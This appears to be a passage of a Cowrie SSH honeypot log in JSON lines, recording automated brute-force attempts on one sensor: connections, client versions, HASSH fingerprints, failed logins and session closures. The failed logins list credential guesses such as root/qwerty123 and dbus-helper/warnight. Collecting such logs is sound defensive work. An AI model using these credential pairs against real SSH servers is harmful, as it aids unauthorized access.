-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:24.962397Z","src_ip":"162.243.147.237","session":"09132cc6c5aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:25.272241Z","src_ip":"162.243.147.237","session":"09132cc6c5aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:25.326685Z","src_ip":"43.163.119.215","session":"7170f5bd2d60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.109.219.135","src_port":38484,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb3fa93df10d","protocol":"ssh","message":"New connection: 101.109.219.135:38484 (10.17.0.5:22) [session: cb3fa93df10d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:25.421368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:25.425934Z","src_ip":"101.109.219.135","session":"cb3fa93df10d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":59474,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc3bc28d73ba","protocol":"ssh","message":"New connection: 43.163.119.215:59474 (10.17.0.5:22) [session: fc3bc28d73ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:25.578959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:25.583931Z","src_ip":"43.163.119.215","session":"fc3bc28d73ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:25.688346Z","src_ip":"101.109.219.135","session":"cb3fa93df10d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:25.821541Z","src_ip":"43.163.119.215","session":"fc3bc28d73ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:26.344673Z","src_ip":"162.243.147.237","session":"09132cc6c5aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:26.533135Z","src_ip":"43.163.119.215","session":"fc3bc28d73ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sftp","message":"login attempt [root/sftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:26.735398Z","src_ip":"101.109.219.135","session":"cb3fa93df10d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:27.773391Z","src_ip":"43.163.119.215","session":"fc3bc28d73ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:27.992578Z","src_ip":"101.109.219.135","session":"cb3fa93df10d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":44436,"dst_ip":"10.17.0.5","dst_port":22,"session":"1dc011b57b42","protocol":"ssh","message":"New connection: 43.163.119.215:44436 (10.17.0.5:22) [session: 1dc011b57b42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:36.659287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:36.664091Z","src_ip":"43.163.119.215","session":"1dc011b57b42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:36.911196Z","src_ip":"43.163.119.215","session":"1dc011b57b42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx","message":"login attempt [root/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:37.649604Z","src_ip":"43.163.119.215","session":"1dc011b57b42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:38.897789Z","src_ip":"43.163.119.215","session":"1dc011b57b42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.209.121.72","src_port":42128,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9913cf9b11a","protocol":"ssh","message":"New connection: 205.209.121.72:42128 (10.17.0.5:22) [session: c9913cf9b11a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:41.409733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:41.414675Z","src_ip":"205.209.121.72","session":"c9913cf9b11a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:41.420550Z","src_ip":"205.209.121.72","session":"c9913cf9b11a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hayes","message":"login attempt [root/hayes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:41.474669Z","src_ip":"205.209.121.72","session":"c9913cf9b11a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:44.523273Z","src_ip":"205.209.121.72","session":"c9913cf9b11a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":45932,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec3d7c314cfc","protocol":"ssh","message":"New connection: 103.75.199.4:45932 (159.203.135.109:22) [session: ec3d7c314cfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:44.751407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:44.756656Z","src_ip":"103.75.199.4","session":"ec3d7c314cfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:44.852729Z","src_ip":"103.75.199.4","session":"ec3d7c314cfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:45.141817Z","src_ip":"103.75.199.4","session":"ec3d7c314cfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:46.240016Z","src_ip":"103.75.199.4","session":"ec3d7c314cfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":44444,"dst_ip":"10.17.0.5","dst_port":22,"session":"4610644d4111","protocol":"ssh","message":"New connection: 43.163.119.215:44444 (10.17.0.5:22) [session: 4610644d4111]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:46.573591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:46.577936Z","src_ip":"43.163.119.215","session":"4610644d4111","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:46.815454Z","src_ip":"43.163.119.215","session":"4610644d4111","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.225.206","src_port":36902,"dst_ip":"159.203.135.109","dst_port":22,"session":"96a327fa4199","protocol":"ssh","message":"New connection: 202.29.225.206:36902 (159.203.135.109:22) [session: 96a327fa4199]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:47.051167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:47.055813Z","src_ip":"202.29.225.206","session":"96a327fa4199","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:47.298525Z","src_ip":"202.29.225.206","session":"96a327fa4199","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456","message":"login attempt [root/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:47.531883Z","src_ip":"43.163.119.215","session":"4610644d4111","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:48.337976Z","src_ip":"202.29.225.206","session":"96a327fa4199","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:48.771813Z","src_ip":"43.163.119.215","session":"4610644d4111","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:49.584672Z","src_ip":"202.29.225.206","session":"96a327fa4199","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":34814,"dst_ip":"10.17.0.5","dst_port":22,"session":"af47d15ccd44","protocol":"ssh","message":"New connection: 163.7.9.84:34814 (10.17.0.5:22) [session: af47d15ccd44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:54.336367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:54.341121Z","src_ip":"163.7.9.84","session":"af47d15ccd44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:54.584074Z","src_ip":"163.7.9.84","session":"af47d15ccd44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:55.590933Z","src_ip":"163.7.9.84","session":"af47d15ccd44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:56.838646Z","src_ip":"163.7.9.84","session":"af47d15ccd44","protocol":"ssh"}
